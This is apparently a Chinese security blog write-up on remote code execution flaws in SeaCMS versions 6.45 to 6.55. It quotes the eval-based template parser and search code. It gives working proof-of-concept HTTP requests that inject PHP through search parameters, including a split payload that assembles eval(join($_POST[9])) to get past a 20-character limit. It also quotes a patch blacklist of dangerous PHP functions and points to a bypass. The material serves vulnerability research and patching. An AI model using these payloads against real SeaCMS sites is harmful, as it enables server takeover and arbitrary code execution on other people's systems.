前言

seacms从6.45开始到6.55一直存在命令执行,打了补丁也会被绕过。6.66在新的位置也爆出了代码执行……

找源码找了半天,最后终于找到了 哈哈 真心感谢这些项目的维护者

https://github.com/SecWiki/CMS-Hunter 

seacms 6.45

漏洞位置在/include/main.class.php parseIf()这个函数

    function parseIf($content){
        if (strpos($content,'{if:')=== false){
        return $content;
        }else{
        $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");//匹配
        $labelRule2="{elseif";
        $labelRule3="{else}";
        preg_match_all($labelRule,$content,$iar);//把匹配到赋值给iar
        $arlen=count($iar[0]);
        $elseIfFlag=false;
        for($m=0;$m<$arlen;$m++){
            $strIf=$iar[1][$m];
            $strIf=$this->parseStrIf($strIf);
            $strThen=$iar[2][$m];
            $strThen=$this->parseSubIf($strThen);
            if (strpos($strThen,$labelRule2)===false){
                if (strpos($strThen,$labelRule3)>=0){
                    $elsearray=explode($labelRule3,$strThen);
                    $strThen1=$elsearray[0];
                    $strElse1=$elsearray[1];
                    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                    if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
                }else{
                @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");

实际上也是没进行过滤就传入eval导致的代码执行。其实主要关键点就是

@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");

可以看到这边eval的是$strIf,而$strIf=$iar[1][$m]; 都是$content 这个参数匹配进去的。现在我们找那个地方会调用这个地方就行了。

search.php 文件

function echoSearchPage()
{
    global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
    $order = !empty($order)?$order:time;
    if(intval($searchtype)==5)
    {
        $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
        $typeStr = !empty($tid)?intval($tid).'_':'0_';
        $yearStr = !empty($year)?PinYin($year).'_':'0_';
        $letterStr = !empty($letter)?$letter.'_':'0_';
        $areaStr = !empty($area)?PinYin($area).'_':'0_';
        $orderStr = !empty($order)?$order.'_':'0_';
        $jqStr = !empty($jq)?$jq.'_':'0_';
        $cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
        $pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
    }else
    {
        if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
        $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
        $cacheName="parse_search_";
        $pSize = getPageSizeOnCache($searchTemplatePath,"search","");
    }
    ...
    $content = str_replace("{searchpage:page}",$page,$content);
    $content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
    $content = str_replace("{searchpage:ordername}",$order,$content);
    ...
    $content=replaceCurrentTypeId($content,-444);
    $content=$mainClassObj->parseIf($content);
    ...

我们要把$order赋值给$pSize选择模板文件,$order可以覆盖可控,之后用order变量替换了模板中的{searchpage:ordername}

<a href="{searchpage:order-time-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
<a href="{searchpage:order-hit-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播</a>
<a href="{searchpage:order-score-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高</a>

然后传入parself

evil("if(1)phpinfo();if(1){\$ifFlag=true;}else{\$ifFlag=false;}");

最终poc

http://127.0.0.1/seacms/seacms6.45/search.php?searchtype=5
post:searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}

seacms 6.54

看补丁对order做了白名单限制,但是对漏洞根本原因并没有进行修复

$orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc'); if(!(in_array($order,$orderarr))){$order='time';}

看大佬们给的poc (大佬就是牛逼!)

get:http://seacms.test/search.php
POST: searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();

我们可以看到即使限制了$order还有其他变量可以覆盖,但是对利用进行了一些限制。进行了过滤并且限制20个字符。

$searchword = RemoveXSS(stripslashes($searchword));
$searchword = addslashes(cn_substr($searchword,20));
$searchword = trim($searchword);
$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));
$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));
$year = RemoveXSS(stripslashes($year));
$year = addslashes(cn_substr($year,20));
$yuyan = RemoveXSS(stripslashes($yuyan));
$yuyan = addslashes(cn_substr($yuyan,20));
$letter = RemoveXSS(stripslashes($letter));
$letter = addslashes(cn_substr($letter,20));
$state = RemoveXSS(stripslashes($state));
$state = addslashes(cn_substr($state,20));
$ver = RemoveXSS(stripslashes($ver));
$ver = addslashes(cn_substr($ver,20));
$money = RemoveXSS(stripslashes($money));
$money = addslashes(cn_substr($money,20));
$order = RemoveXSS(stripslashes($order));
$order = addslashes(cn_substr($order,20));

还是在echoSearchPage函数中

if(intval($searchtype)==5)
{
    $tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
    $jq = !empty($jq)?$jq:'全部';
    $area = !empty($area)?$area:'全部';
    $year = !empty($year)?$year:'全部';
    $yuyan = !empty($yuyan)?$yuyan:'全部';
    $letter = !empty($letter)?$letter:'全部';
    $state = !empty($state)?$state:'全部';
    $ver = !empty($ver)?$ver:'全部';
    $money = !empty($money)?$money:'全部';
    $content = str_replace("{searchpage:type}",$tid,$content);
    $content = str_replace("{searchpage:typename}",$tname ,$content);
    $content = str_replace("{searchpage:year}",$year,$content);
    $content = str_replace("{searchpage:area}",$area,$content);
    $content = str_replace("{searchpage:letter}",$letter,$content);
    $content = str_replace("{searchpage:lang}",$yuyan,$content);
    $content = str_replace("{searchpage:jq}",$jq,$content);
    if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
    if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
    $content = str_replace("{searchpage:state}",$state2,$content);
    $content = str_replace("{searchpage:money}",$money2,$content);
    $content = str_replace("{searchpage:ver}",$ver,$content);
    $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
    $content=$mainClassObj->parseSearchItemList($content,"type");
    $content=$mainClassObj->parseSearchItemList($content,"year");
    $content=$mainClassObj->parseSearchItemList($content,"area");
    $content=$mainClassObj->parseSearchItemList($content,"letter");
    $content=$mainClassObj->parseSearchItemList($content,"lang");
    $content=$mainClassObj->parseSearchItemList($content,"jq");
    $content=$mainClassObj->parseSearchItemList($content,"state");
    $content=$mainClassObj->parseSearchItemList($content,"ver");
    $content=$mainClassObj->parseSearchItemList($content,"money");
}

替换流程:

Step 0:       <meta name="keywords" content="{seacms:searchword},海洋CMS" />
Step 1:       <meta name="keywords" content="{if{searchpage:year},海洋CMS" />
Step 2:     <meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />
Step3:       <meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />
Step4:       <meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />
Step5:       <meta name="keywords" content="{if:eval(join{searchpage:jq}),海洋CMS" />
Step6:       <meta name="keywords" content="{if:eval(join($_P{searchpage:ver}),海洋CMS" />
Step7:       <meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />

可以看到已经替换成我们的木马然后在匹配到parseIf去eval。

seacms 6.55

看补丁

 function parseIf($content){
            if (strpos($content,'{if:')=== false){
            return $content;
            }else{
            $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
            $labelRule2="{elseif";
            $labelRule3="{else}";
            preg_match_all($labelRule,$content,$iar);
    foreach($iar as $v){
        $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
    }
    $iar = $iarok;  

这里对$iar[]黑名单过滤,这里看大佬分析是用$_SERVER引入请求

http://www.freebuf.com/vuls/150303.html
直接看大佬分析吧(评论也是很好笑的)